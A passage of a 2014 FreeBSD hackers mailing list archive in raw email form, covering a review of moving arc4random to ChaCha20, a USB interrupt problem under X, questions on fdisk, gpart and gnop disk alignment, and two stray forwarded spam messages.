JBdKEYNcMAyFzvcYdcHr5OkLwZ9dxroNZqTB82Nny8nD5B31Hl01ihzzT8y/zVna Poy8DORRdGIIWekXjFtb =wsr6 -----END PGP SIGNATURE----- From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 18:25:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0724A526 for ; Fri, 30 May 2014 18:25:36 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9CEA422E9 for ; Fri, 30 May 2014 18:25:35 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s4UIPMIq096399; Fri, 30 May 2014 21:25:22 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s4UIPMIq096399 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s4UIPMaM096398; Fri, 30 May 2014 21:25:22 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 30 May 2014 21:25:22 +0300 From: Konstantin Belousov To: d@delphij.net Subject: Re: switch arc4random to chacha Message-ID: <20140530182522.GO3991@kib.kiev.ua> References: <20140530154103.GL3991@kib.kiev.ua> <5388C4C1.8030501@delphij.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="A6Z7MKnLVMfR85kG" Content-Disposition: inline In-Reply-To: <5388C4C1.8030501@delphij.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: Ted Unangst , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 18:25:36 -0000 --A6Z7MKnLVMfR85kG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, May 30, 2014 at 10:49:53AM -0700, Xin Li wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA512 >=20 > On 05/30/14 08:41, Konstantin Belousov wrote: > > On Thu, May 29, 2014 at 09:04:11PM -0400, Ted Unangst wrote: > >> This syncs libc arc4random.c with OpenBSD, mostly to change the=20 > >> implementation to ChaCha20. > >>=20 > >> I removed the more complicated seed fetching code and changed it=20 > >> to just sysctl(). A quick check revealed that the FreeBSD kernel=20 > >> supports this for at least five years now. It's much simpler to=20 > >> use code that always works instead of a series of untested=20 > >> fallbacks that are even less likely to work. > >>=20 > >> Also removes the addrandom interface as a useless complication.=20 > >> If the kernel is incapable of properly seeding arc4random,=20 > >> application code can't do any better. > >>=20 > >> Unfortunately, I don't have any FreeBSD systems running at the=20 > >> moment, so I can't make any promises that this will even > >> compile, but it passed the eyeball test. > >=20 > > Am I right that the patch removes arc4random_stir and=20 > > arc4random_addrandom symbols ? If yes, this is done incorrect, > > and it in fact is disallowed, since it breaks ABI. > >=20 > > The compat shims must be provided, possibly issuing a warning, and=20 > > default version for the symbols must be removed to prevent linking=20 > > new consumers. >=20 > Actually I have a WIP patchset for this at: >=20 > https://github.com/delphij/freebsd/compare/featurefork;chacha20 >=20 > It provided compatibility shims for arc4random_stir and > arc4random_addrandom that logs the event for each process once. What you do WRT ABI is almost fine. You should remove the symbols from the gen/Symbol.map for the change to be complete. Did you verified readelf output on the patched libc to ensure that there is no default versions for the compat symbols ? >=20 > Another difference (which I haven't seek for review and would like to > see criticizes) from OpenBSD is that my version have added threading > support. What it does is that the system will create a maximum of CPU > number's random states and use the states in a LIFO manner, new state > is created on demand when a contention happens and the CPU number > limit haven't been reached. >=20 > (I made a further tweak which basically do #define arc4random_stir() > and #define arc4random_addrandom(a,b) in stdlib.h. This allows > existing applications that insists arc4random_stir() on FreeBSD to > compile -- is there a way to give a compile time warning?) There is a GNU linker feature which issues a warning when symbol is referenced, see sys/cdefs.h:__warn_referenced(). >=20 > One thing I haven't done yet is to make the kernel portion of > arc4random() (i.e. kern.arand) to use Chacha20. >=20 > Cheers, > - --=20 > Xin LI https://www.delphij.net/ > FreeBSD - The Power to Serve! Live free or die > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v2.0.22 (FreeBSD) >=20 > iQIcBAEBCgAGBQJTiMTBAAoJEJW2GBstM+nscjQP/RqFc3Hc5hm0mB9wd02OpO8N > WLm8tAlPS4hOMy3poEciT5WDE3++vx+EqKXGBpuseKE7QK7xyJiZbJZJWo6lFg9S > Lum+PM3CLuaLbzOQ4fyPZitpepyHRg6pHYNzlUQtcxyr+VCkTwS2J/gHXJVgAkVO > XtNkzVzG/UKczuOMfWr/4sVo1Dee16nNfhJWBRGCml0dnJ43lVVtH7w0pQ/7/oLJ > GFtrEKzoNqjyWmfL0Nn99xeyFwGZemdajm4q06rfVmWfY/uCL0Rl3kO8AHk+8tKk > 8kVLGGh5uKvc6oBhrXn/Uo38JO5I3lyjfnIyFngIrepQN9zTRxkpC2vkQRZxOEJd > AlVUnJaf8fdyTmIYZZ66IOkODwHFqStqbhtPLobVU7JVGoGTG2E13TBOEy78HuEJ > JUckFrZXGoSv7GHEqBJFVPqwHQqQUxjeJEGVD6k70hRhBH9+GTpeDDbo+x9ZnUtB > N7FFGnhGFeE3vY6TkvvuWkAy1S5NHiXzHp5PgelIVhbnHBxVoWwoSxGvBhnpUnoQ > VUKoRjlWaVm8MLhPPHrjScUBog9KTWLppv5wVPaLtPBKx9KKMPPg6mWi12Y3fA97 > JBdKEYNcMAyFzvcYdcHr5OkLwZ9dxroNZqTB82Nny8nD5B31Hl01ihzzT8y/zVna > Poy8DORRdGIIWekXjFtb > =3Dwsr6 > -----END PGP SIGNATURE----- --A6Z7MKnLVMfR85kG Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTiM0SAAoJEJDCuSvBvK1B4ukP/j74VFB1HdVqmdJ99oP2HxcG /lqmVs0bVaOI3Z59jYOFHA2gR/R4c5MNQWQ/J9GPgYvkwp1TBxp2+vxXbWLp4eOw 7+akAPGk4tSdZ9ye3NifXcQfCYmUOWzvowaXGUj5oagyEVgvwGv//O94Qf0S6kaZ bcSHakvHW4Vg0H72LXHJu0/n/t1fgmRC1SCH76uexRugwXBt50Yqh9hXpiMHZF1Z nVVgUQeyVftIEh951JV+xrC5og58kefpppmVntOQxckXQWqB5UDoZs39XCMo+lZO USn1oJgbLLS+B0q6eHY8Qzl3akKs08DWYJGUd6Lsb8DWEXBAUFGWDO87RpIpYD2k uioP7USqd8A9M4a43jiVUPRhzfLMHeWhjM0+OZmdNgzab7TSTSfocY1WpYwWZq3s M7dqzsbgkdOgfBeOlagMKoXUmIaJkiV0PqKnMoxXHL8IrRsPqrf9MLUPAy3cImMD baS9YeWsrRE5U9lA+w0rLNA1v69bseryycSSg7/VMy+GV1Nydx21cWIB/Pg4a1R5 Qtw7BM2GQZdFLZs/8IN2/V/wfRNtj6prmMAGrWV+P7jYVKWuL648ijD8pVWoSqR2 V7VlpfOicXFl3d38vdSF88VySTbLCxB/U1aaCBnUlN4qUg50CA9S9bzOaId950VV n5U+WGhWsD1B/X8lIDNG =/bwH -----END PGP SIGNATURE----- --A6Z7MKnLVMfR85kG-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 21:51:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 53764AE7 for ; Fri, 30 May 2014 21:51:44 +0000 (UTC) Received: from nm31.bullet.mail.gq1.yahoo.com (nm31.bullet.mail.gq1.yahoo.com [98.136.217.14]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 11895243A for ; Fri, 30 May 2014 21:51:43 +0000 (UTC) Received: from [127.0.0.1] by nm31.bullet.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:51:37 -0000 Received: from [98.137.12.62] by nm31.bullet.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:48:54 -0000 Received: from [98.137.12.221] by tm7.bullet.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:48:54 -0000 Received: from [127.0.0.1] by omp1029.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:48:54 -0000 X-Yahoo-Newman-Property: ymail-4 X-Yahoo-Newman-Id: 349166.23415.bm@omp1029.mail.gq1.yahoo.com Received: (qmail 86992 invoked by uid 60001); 30 May 2014 21:48:54 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1401486534; bh=8TaxDLNvd0Pxn1GSKn2rx11/hC3WYGFk6wWRaenYnI0=; h=Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=N/aNGi1kRSGd8OYlxc/9VZomv09qXIbPIqFMjiw8r5SN+CwlgrD9p5pKDZNUY8By3IITgbNJTcC0x3/yzcuDRFb/YO2OfA00hKcNwDZ/lECMYzQg+O2IJ50kxSmvUTfy4O2gRun1x/P/1whQ4CgNdzcYaFOGyNYNyf0g/vv02gg= X-YMail-OSG: IUG_ILYVM1nLk4LNDwG2Uws1.IIU5foLzIwlOKz0V5eCXnU j41HUBIkEib06fEpki.R3SyJiIvg0UaQ83jwIphEa0Bp7gASNa0IXrpWYfLg lWQQTWYWA179hG8S2evrGwR_dsMUSmaA4XZwrmGqHVxM_Pidx4gA2RO1n68b ZtlLaO6FT.CPoxC1kaK4m0NzFrAJRHimWp_W99YnUQwKsml2NhKrDfu9QvyN RFaHJhvAKsICeTxsvZpM8P2HydDvW.3HZaSNRK8d0MANMmaSjLFDynMA90ll zT1jXb9LPTHH2SarVjORApJ2bpXqiuaUPMSQ6CGEWVSYNoU7ySDbeoEYtzCC oeCmxoh0XmUpj7H2uIRkQ8n4tM18GffZs4jqsNxjiH5NHk9G6b_Lix73jtNv QirglqqNQiUKdLH4NF0tDdXsLFjcTLIdMi_G53igvd9_IhzZelVr8trxV0Pn rKB4hnY18lFrxk749FFL3upLijc_SrqyEycuMfeoa1dxuEgsCdaOPoYbVBUz sDy6zVyknUG39TCRVFmgDgc9CveYgGb3XkEM4kKxagBw2n7CzT2ypDc8VErG u3dMmYWDMgZosIrXid0ni58x3SkjVGn0vpMc0aC4RLvredVxBBQrMTJw..OT LL_jCTXOFDgvw.x05QoQiri74b4Es9gHkJvHq8nT5VkXrkrVvUhrd7uJ169h oXqqIR4g9UjhmNBoOxu5n3smFxiClHE1zXwrY6SOtC7HNHYVxksMvenkj7cQ wWNQ5J6mqcP35RKQRJOAprzQIhQJfhDWYt9VU5_ubuX9jbzDHR9F4TtwhPiD n3rlNzH8- Received: from [113.210.135.102] by web163503.mail.gq1.yahoo.com via HTTP; Fri, 30 May 2014 14:48:54 PDT X-Rocket-MIMEInfo: 002.001, PGEgaHJlZj0iaHR0cHM6Ly9vdmVydmlldy5tYWlsLnlhaG9vLmNvbT8uc3JjPWlPUyI.PGJyLz48YnIvPlNlbnQgZnJvbSBZYWhvbyBNYWlsIGZvciBpUGhvbmU8L2E.ATABAQEB X-Mailer: YahooMailIosMobile/3.5 YahooMailWebService/0.8.188.663 Message-ID: <1401486534.86390.YahooMailIosMobile@web163503.mail.gq1.yahoo.com> Date: Fri, 30 May 2014 14:48:54 -0700 (PDT) From: "YB Tan Sri Dato Sri' Adli a.k.a Dell" Subject: FW: Webinar - Visualizing the Business Impact of Technical Cyber Risks To: "consultant22@work-solutions.com" , "DGBC_HR@dell.com" , "farzanazulkifli@gmail.com" , "freebsd-hackers@freebsd.org" , Nassir Para Normal , "crystaltee@ecsm.com.my" , CHAU Hoi Yean , "humanresource@lonpac.com" , "hirepurchase@publicbank.com.my" In-Reply-To: <3c86c698be-white.heron=yahoo.com@mail.vresp.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 21:51:44 -0000

Sent from Yahoo Mail for iPhone From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 22:01:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9FD05DFB for ; Fri, 30 May 2014 22:01:46 +0000 (UTC) Received: from nm32.bullet.mail.gq1.yahoo.com (nm32.bullet.mail.gq1.yahoo.com [98.136.217.15]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 625412518 for ; Fri, 30 May 2014 22:01:45 +0000 (UTC) Received: from [127.0.0.1] by nm32.bullet.mail.gq1.yahoo.com with NNFMP; 30 May 2014 22:01:39 -0000 Received: from [98.137.12.189] by nm32.bullet.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:58:43 -0000 Received: from [98.137.12.204] by tm10.bullet.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:58:43 -0000 Received: from [127.0.0.1] by omp1012.mail.gq1.yahoo.com with NNFMP; 30 May 2014 21:58:43 -0000 X-Yahoo-Newman-Property: ymail-4 X-Yahoo-Newman-Id: 428371.64005.bm@omp1012.mail.gq1.yahoo.com Received: (qmail 11663 invoked by uid 60001); 30 May 2014 21:58:43 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1401487123; bh=nbZnf8rfkmeZjEV0oRJGSy814p4zjbQedjWAhsEVkao=; h=Message-ID:Date:From:Subject:To:MIME-Version:Content-Type; b=ADVS/cNJ7w0hM4jIrrTwuu6ah+w37Fc36+JpZjtfqebHIzAR0TWtfvHSAxI3dztjYrxIwYN89x6JADmHJOVAA68mqLykE8rH7lxoqmtmWYIfvl1MLgobmnAicvZJ6CGuCxqsEiKj2N+T4Am44Ap1azMqaOiocIPfEGTXXpnyQ0U= X-YMail-OSG: nBIwOgMVM1mY5tnVCGmxr3_82NUuPS29NaBExKLauQSBcLS WgnRDW0GySfjIyg5g17_bcOj0qTrameKFawgCQLsV10c3qyiVoo1gRJhSbaX M9qDmXVhj1pVGRkidyL.EbLmLjdBpsXC.3.wB_T_HwexTeJf1iV_olhg96MM QnJV08Y9818.A0KWZYfiI5ycmYRb3oacJvzfvynC8sWRl2_EOrlfEZ4Muhvo YoDHtmYict_i5lfyAZpnFSfdajaGO_deVq57P5K4diN3go5j8M_3jvDPXlQP mumXvqJPTqwwJ_ECzflWcJZUWhKsFv5jfAYjmhHxp.vDBJuV_KG5gEqbfsIg 6szbB0jS_Kms4knrc8DIlb.Wi3ZLmm79drPh13dbOPPX2TRiHT4SkvHirswJ 77WA6Ub_KiYo5qZuUst4i2YZgEmeH3wxFOUbH1V.jp3vGOkY5sWqclMF7fLw SnSpWRlWuZGF5DsE7tECapB1PwhiDy.DMAtjWM25ELV.AzMfWThpEkrClKFm c0bpIV1oFLYj3gH7OX0poRAOrkjJO4sNIgsdrePsvA8dH4zmmwbT56D6J1c_ RQTZ9z4qaDgVmfpo8esmZd3yXfrGkXV_qsQx28Q2TOWDsHqtgWYirj27P5E3 gTOrj2ee7pWOGOwcDJ380sq9VGAS1HeK3jALH7YsZW9J7tpmT_25USU3ZwXA dL2v6kd71rXf8EWiuJwSSahL7foI5O38FacY8Tl5GaLk98SnGqPQ9IKFzALM Uq4OgomGgRjqBvJBs1DdjrzFIHjUs7DmzC.RYhIlnZ2m6t_IYJd7aemgxp52 4cBCnLYOz1XipRZv4ZhQ698RJyTSp92eMsviZh17VER7IFzBfJWiAsJOETXn 0t3DL08_NuWma1w-- Received: from [113.210.135.102] by web163503.mail.gq1.yahoo.com via HTTP; Fri, 30 May 2014 14:58:43 PDT X-Rocket-MIMEInfo: 002.001, RGVhciBhbGwsPGJyLz48YnIvPktpbmRseSByZXZlcnQgYmFjayBhbGwgdGhlIHNvbHV0aW9ucyBpbW1lZGlhdGVseSE8YSBocmVmPSJodHRwczovL292ZXJ2aWV3Lm1haWwueWFob28uY29tPy5zcmM9aU9TIj48YnIvPjxici8.U2VudCBmcm9tIFlhaG9vIE1haWwgZm9yIGlQaG9uZTwvYT4BMAEBAQE- X-Mailer: YahooMailIosMobile/3.5 YahooMailWebService/0.8.188.663 Message-ID: <1401487123.98002.YahooMailIosMobile@web163503.mail.gq1.yahoo.com> Date: Fri, 30 May 2014 14:58:43 -0700 (PDT) From: "YB Tan Sri Dato Sri' Adli a.k.a Dell" Subject: FW: Failure Notice To: "callcentre@kellyservices.com.my" , "custsvc@publicbank.com.my" , "malossisingapore@hotmail.com" , "callcentre@kellyservices.com.my" , "freebsd-hackers@freebsd.org" , "jtksm@mohr.gov.my" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 22:01:46 -0000 Dear all,

Kindly revert back all the solutions immediately!

Sent from Yahoo Mail for iPhone From owner-freebsd-hackers@FreeBSD.ORG Sat May 31 19:56:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E6FAD91F for ; Sat, 31 May 2014 19:56:07 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.200]) (using TLSv1.2 with cipher DHE-RSA-AES256-SHA256 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B5F4927C5 for ; Sat, 31 May 2014 19:56:07 +0000 (UTC) Received: from [192.168.1.68] ([172.15.184.248]) by mail.gmx.com (mrgmxus001) with ESMTPSA (Nemesis) id 0MgtFu-1XCsTI2txw-00M45C for ; Sat, 31 May 2014 21:56:00 +0200 Message-ID: <538A3432.5010303@gmx.us> Date: Sat, 31 May 2014 15:57:38 -0400 From: Dutch Ingraham User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Interrupt Overload Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:T9l20VAUZhDRi8lMN/izgwykWnYhsHtbiTk9/304GhoHYxRive/ Hg8QCGoEffbP5Bs5pdkbk48ZKENQvAoE8dTfuxCVKXeg7kDogB5HnCOlvisqaHgbRonWGzF vbwMElnQQuIjiDFIpZYl4ADoGe9kg20+z5RfdEQ8a03HiX1EPtaXKbytNehspdhAMLm2M5e eb8Mah4uUeqH9U2ZrM4hg== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 31 May 2014 19:56:08 -0000 Hi all: I hope someone here can help. I've tried the general community but no resolution was found. See "forums dot freebsd dot org slash viewtopic.php?f=3&t=46595". The problem is insanely high interrupts *only* while using xorg-server. For example, or indicates a constant rate of 325000 to 326000 interrupts from irq16: uhci0. This is consuming about 30% of my cpu usage. All is normal in the TTY before starting X. The only usb devices attached are a mouse and keyboard; swapping them makes no difference; in fact, using a PS/2 keyboard or even detaching both the keyboard and mouse has no effect. The only thing I've found that works is suspending to RAM with the command ; upon waking the interrupts drop to near zero. My is "10.0-STABLE amd64." Thanks for any information you can provide. From owner-freebsd-hackers@FreeBSD.ORG Sat May 31 21:17:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7D056B97 for ; Sat, 31 May 2014 21:17:24 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.200]) (using TLSv1.2 with cipher DHE-RSA-AES256-SHA256 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 492822E4E for ; Sat, 31 May 2014 21:17:24 +0000 (UTC) Received: from [192.168.1.68] ([172.15.184.248]) by mail.gmx.com (mrgmxus002) with ESMTPSA (Nemesis) id 0MEnnQ-1X1M6c0xYI-00G5KN; Sat, 31 May 2014 23:17:20 +0200 Message-ID: <538A4740.5060508@gmx.us> Date: Sat, 31 May 2014 17:18:56 -0400 From: Dutch Ingraham User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: David Wolfskill , freebsd-hackers@freebsd.org Subject: Re: Interrupt Overload References: <538A3432.5010303@gmx.us> <20140531200140.GD1224@albert.catwhisker.org> In-Reply-To: <20140531200140.GD1224@albert.catwhisker.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:pAcb0YYut2ZWwyitvOtvo5WNkx1c0WX8IeCKeeoTedgrfjenXhh A9v4eXvdDjW+jx1HGcBKnh0OcvEoTSIqVqEmG1WzTjM8bqPZaPNWY8HFmp+oJ+bpJGGvoos ena3/VKil9aLr4u75YhFQnm9pVyoS5GKMACU+ZbgO9b0VRvc+YFmqyK3KKdJlEaf4uOYh0O mFaVnwQ44pMvsPz+2L3VA== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 31 May 2014 21:17:24 -0000 On 05/31/2014 04:01 PM, David Wolfskill wrote: > Do you have either hald or dbus running? > > IIRC, the default X.org config requires at least one of them. > > I had bad experiences with hald (in particular) some years ago, and > changed my xorg.conf to avoid using them. > > You *might* want to try augmenting xorg.conf with: > > Section "ServerFlags" > Option "AutoAddDevices" "False" > EndSection > > > and disable hald & dbus, then see what happens when you restart X. :-} > > Good luck! > > Peace, > david > Thanks, David. I agree; I've generally had more problems with X, hal, pam, consolekit and polkit than everything else combined. I did try your suggestions, in full and individually. Adding that ServerFlags section to xorg.conf made no apparent difference; without both hald and dbus running I can start X but no mouse and effectively no keyboard (I can ctrl-alt-del to reboot, but everything else is dead.) Thanks for your suggestions. Hopefully someone, somewhere has had a similar problem. From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 00:42:53 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A9DD2A63 for ; Sun, 1 Jun 2014 00:42:53 +0000 (UTC) Received: from bewilderbeast.blackhelicopters.org (mwlucas-2-pt.tunnel.tserv9.chi1.ipv6.he.net [IPv6:2001:470:1f10:b9c::2]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 509C12C72 for ; Sun, 1 Jun 2014 00:42:53 +0000 (UTC) Received: from bewilderbeast.blackhelicopters.org (localhost [127.0.0.1]) by bewilderbeast.blackhelicopters.org (8.14.7/8.14.7) with ESMTP id s510ggNe097249 for ; Sat, 31 May 2014 20:42:52 -0400 (EDT) (envelope-from mwlucas@bewilderbeast.blackhelicopters.org) Received: (from mwlucas@localhost) by bewilderbeast.blackhelicopters.org (8.14.7/8.14.7/Submit) id s510ggV9097248 for hackers@freebsd.org; Sat, 31 May 2014 20:42:42 -0400 (EDT) (envelope-from mwlucas) Date: Sat, 31 May 2014 20:42:42 -0400 From: "Michael W. Lucas" To: hackers@freebsd.org Subject: fdisk(8) vs gpart(8), and gnop Message-ID: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.22 (2013-10-16) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (bewilderbeast.blackhelicopters.org [127.0.0.1]); Sat, 31 May 2014 20:42:52 -0400 (EDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 00:42:53 -0000 Folks, $SUBJECT have been two contentious points of discussion in private mail, Twitter, the BSDCan bar track, and random people passing on the street. I was very surprised at the number of knowledgeable people who have different ideas on this and argue about it at length. I'm hoping to verify what seems to be correct. First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' handles all alignment issues for the 512B/4KB sector issues. If you sometimes need to use fdisk, when exactly is that? Similarly, I *believe* that you need to "gnop -S 4096 $device" any time you want to use ZFS, so that 1) zfs sets ashift=12 and 2) you can later replace a 512B-sector drive with a 4096KB-sector drive without ZFS having a hissy fit about mismatched sector sizes. Finally, while UFS isn't picky about changing the underlying sector size on a dump/restore, I believe it's a good idea to always gnop the underlying disk. Disks lie about sector size, and while it's OK to assume a 4k-sector disk, assuming a 512b-sector disk on a 4k-sector disk causes write multiplication. Are my beliefs correct? I need to get this part of the book correct, or the rest of it will go wildly astray... Thanks, ==ml -- Michael W. Lucas - mwlucas@michaelwlucas.com, Twitter @mwlauthor http://www.MichaelWLucas.com/, http://blather.MichaelWLucas.com/ From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 01:16:53 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 15664DF6 for ; Sun, 1 Jun 2014 01:16:53 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 756892E79 for ; Sun, 1 Jun 2014 01:16:52 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s511GjhF001394; Sun, 1 Jun 2014 04:16:45 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s511GjhF001394 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s511GjQK001393; Sun, 1 Jun 2014 04:16:45 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 1 Jun 2014 04:16:45 +0300 From: Konstantin Belousov To: "Michael W. Lucas" Subject: Re: fdisk(8) vs gpart(8), and gnop Message-ID: <20140601011645.GQ3991@kib.kiev.ua> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ZRLamLUCLuRJXeX8" Content-Disposition: inline In-Reply-To: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 01:16:53 -0000 --ZRLamLUCLuRJXeX8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 